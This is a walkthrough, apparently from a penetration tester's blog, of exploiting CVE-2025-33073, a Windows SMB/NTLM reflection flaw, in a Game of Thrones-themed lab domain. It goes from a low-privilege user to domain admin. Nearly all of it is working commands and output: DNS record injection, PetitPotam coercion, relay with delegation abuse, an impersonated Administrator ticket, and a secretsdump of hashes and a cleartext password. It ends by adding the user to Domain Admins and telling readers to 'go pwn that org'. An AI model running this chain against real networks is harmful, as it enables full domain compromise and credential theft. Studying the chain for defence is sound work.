Description
CVE-2025-33073 is a flaw in the Windows file-sharing login (SMB / NTLM) that lets a low-privilege network user elevate to administrator on Windows machines. Microsoft fixed it in June 2025. We will walk ourselves on how to exploit this vulnerability. As a penetration tester, you would have come across this vulnerability but never exploited it cause SMB signing is enabled. This time i will walk us on how to exploit it and get that domain admin acess.
CVE
CVE-2025-33073
Steps to exploit
- Step 1: checking and validating the vulnerability with netexec
Confirm SMB is runnig and you have your low privilege user ready.
check for coerce_plus vulnerability using the nxc module.
- Step 2: register a dns record and make it point to our attacker
βββ(n16hth4wkγΏn16hth4wk-sec)-[~/Documents/GOAD/krbrelayx]
ββ$ python dnstool.py -u 'north.sevenkingdoms.local\lowuser' -p 'Password123' 192.168.56.11 -a add -d 192.168.56.1 -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
the malicious record name localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
- validate the registered dns record that was created
βββ(n16hth4wkγΏn16hth4wk-sec)-[~/Documents/GOAD/krbrelayx]
ββ$ python dnstool.py -u 'north.sevenkingdoms.local\lowuser' -p 'Password123' 192.168.56.11 -a query -d 192.168.56.1 -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
DC=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA,DC=north.sevenkingdoms.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=north,DC=sevenkingdoms,DC=local
[+] Record entry:
- Type: 1 (A) (Serial: 41)
- Address: 192.168.56.1
- Step 3: Fire up listener using
impacket-ntlmrelayx
- Step 4: Trick the domain controller into probbing our attacker machine (COERCION)
nxc smb 192.168.56.11 -d north.sevenkingdoms.local -u lowuser -p Password123 -M coerce_plus -o M=PetitPotam L='localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
- Step 5: Check back the listener
we can see SUCCED which means the Domain Controller accepted its own machine account name WINTERFELL$ from the replay target. and using the tag delegatedaccess with the impacketscript, we added a fake computer account that we can control (QJFRPJWR$) to WINTERFELL$ msDS-AllowedToActOnBehalfOfOtherIdentity list. Which mean our fake computer is allowed to ask the domain for tickets pretending to be any user on WINTERFELL.
- Step 6: Letβs request Administrator ticket using
impacket-getST
βββ(cve33073-venv)β(n16hth4wkγΏn16hth4wk-sec)-[~/Documents/GOAD/cve33073-venv/bin]
ββ$ python getST.py -dc-ip 192.168.56.11 -spn ldap/winterfell.north.sevenkingdoms.local -impersonate Administrator 'north.sevenkingdoms.local/QJFRPJWR$:.NGeA(amS{uYQxs'
Impacket v0.13.0.dev0+20260108.160920.d3144ec7 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@ldap_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
we got the ticket successfully
- Step 7: Abusing the ticket to get DCsync
βββ(cve33073-venv)β(n16hth4wkγΏn16hth4wk-sec)-[~/Documents/GOAD/cve33073-venv/bin]
ββ$ export KRB5CCNAME=Administrator@ldap_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
βββ(cve33073-venv)β(n16hth4wkγΏn16hth4wk-sec)-[~/Documents/GOAD/cve33073-venv/bin]
ββ$ python secretsdump.py -k -no-pass north.sevenkingdoms.local/Administrator@winterfell.north.sevenkingdoms.local
Impacket v0.13.0.dev0+20260108.160920.d3144ec7 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x32893242a921c53fe49aaf0c047d3201
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\WINTERFELL$:plain_password_hex:6d6d8064dc800e99ab4a3b051cdb3f52b246aea62ea59949244a90cfbcb8c0dc6756e5c3c3f7da415bc002aabc2703b1373acd7a5d4d2238bdae322e80e0943fc8b28cf4d32924fd717d9037a4b76432619f075171bf40bdd8775ee6d638af42ea38fa
2c42d4d6d289986a446af6ec791d59e8084480f231b52f0c9edf5c2163f1c20352c8033cafbd9dd61ca419bd71aaccac2d47fd373aab2fe731be5d42867d738d0cd00494a73a69454ff5a49240cb59f629a14d4e496fae3acfe7e73827fe5cc81a60d63d65a7fbf6ce96de80d9e58eb9d8f67467180
50f81bf8781b2c712ca09f47e650f2972309f9a962fcfb5
NORTH\WINTERFELL$:aad3b435b51404eeaad3b435b51404ee:0808bcd43746b4d1b146f3600e6bb604:::
[*] DefaultPassword
NORTH\robb.stark:sexywolfy
[*] DPAPI_SYSTEM
dpapi_machinekey:0x1f668dc4be600c9ead2085291b10a3f62dba9
Dumped user ntlm hashes.
- Last Step: Incase they have EDR that blocks the secretdump script. we can just add user lowuser to Domain Admin. using ldapmodify, ensure the KRB5CCNAME ticket is still valid.
βββ(cve33073-venv)β(n16hth4wkγΏn16hth4wk-sec)-[~/Documents/GOAD/cve33073-venv/bin]
ββ$ cat ../../add_da.ldif
dn: CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local
changetype: modify
add: member
member: CN=lowuser,CN=Users,DC=north,DC=sevenkingdoms,DC=local
βββ(cve33073-venv)β(n16hth4wkγΏn16hth4wk-sec)-[~/Documents/GOAD/cve33073-venv/bin]
ββ$ ldapmodify -Y GSSAPI -H ldap://winterfell.north.sevenkingdoms.local -f ../../add_da.ldif
SASL/GSSAPI authentication started
SASL username: Administrator@north.sevenkingdoms.local
SASL SSF: 256
SASL data security layer installed.
modifying entry "CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local"
We are domain Admin. Juicy π Go pwn that org gang!.